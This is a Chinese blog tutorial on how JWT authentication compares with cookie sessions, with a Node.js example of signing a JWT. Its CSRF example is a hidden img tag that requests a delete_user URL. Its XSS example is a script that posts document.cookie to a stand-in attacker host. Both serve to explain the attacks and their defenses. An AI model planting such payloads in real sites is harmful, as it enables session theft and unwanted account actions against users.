JWT与XSS/CSRF攻击

2019-01-07  本文已影响0人  炒鸡大馒头

web服务中,用户输入用户名密码登入之后,后续访问网站的其他功能就不用再输入用户名和密码了。传统的身份校验机制为cookie-session机制:

cookie-session机制

这种方式存在以下几个问题:

CSRF攻击

//假设A网站注销用户的url为:https://www.aaa.com/delete_user
<img src="https://www.aaa.com/delete_user" style="display:none;"/>

JWT认证方式

JWT全称 Json Web Token,是一个长字符串,由三部分组成:Header(头部)Payload(负载)Signature(签名)Header.Payload.Signature,用.分割各部分内容,看起来大概就像下面这样:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6InhpYW8gamllIiwiYWRtaW4iOnRydWV9.MjcxZGFjMmQzZjNlMzdjMTU0OGZmM2FlNzFjNDkyMDAwODkzZGNiYmFkODc0MTJhYTYzMTE4MmY0NDBhNzkzZA

生成过程如下:

const crypto = require("crypto");
const base64UrlEncode = require("base64url");
//头部信息
var header = {
    "alg": "HS256", //签名算法类型,默认是 HMAC SHA256(写成 HS256)
    "typ": "JWT" //令牌类型,JWT令牌统一为JWT
};
//负载信息,存储用户信息
var payload = {
    "sub": "1234567890",
    "name": "xiao jie",
    "admin": true
}
//服务器秘钥,用于加密生成signature,不可泄漏
var secret = "chaojidamantou";
//header部分和payload部分
var message = base64UrlEncode(JSON.stringify(header)) + "." + base64UrlEncode(JSON.stringify(payload));
//HMACSHA256加密算法
function HMACSHA256(message, secret) {
    return crypto.createHmac('sha256', secret).update(message).digest("hex");
}
//生成签名信息
var signature = HMACSHA256(message, secret);
//header和payload部分内容默认不加密,也可以使用加密算法加密
var JWT = message + "." + base64UrlEncode(signature);
console.log(JWT);

验证过程如下:

使用JWT验证,由于服务端不保存用户信息,不用做sessonid复制,这样集群水平扩展就变得容易了。同时用户发请求给服务端时,前端使用JS将JWT放在header中手动发送给服务端,服务端验证header中的JWT字段,而非cookie信息,这样就避免了CSRF漏洞攻击。

不过,无论是cookie-session还是JWT,都存在被XSS攻击盗取的风险:

XSS攻击

跨站脚本攻击,其基本原理同sql注入攻击类似。页面上用来输入信息内容的输入框,被输入了可执行代码。假如某论坛网站有以下输入域用来输入帖子内容

发帖内容:<textarea rows="3" cols="20"></textarea>

而恶意用户在textarea发帖内容中填入诸如以下的js脚本:

今天很开心,学会了JWT
<script>
$.ajax({
  type: "post",
  url: "https://www.abc.com/getcookie",
  data: {cookie : document.cookie}
});
</script>

那么当其他用户访问该帖子的时候,用户的cookie就会被发送到abc域名的服务器上了。

为了避免xss攻击,客户端和服务端都应该对提交数据进行xss攻击转义。

上一篇 下一篇

猜你喜欢

热点阅读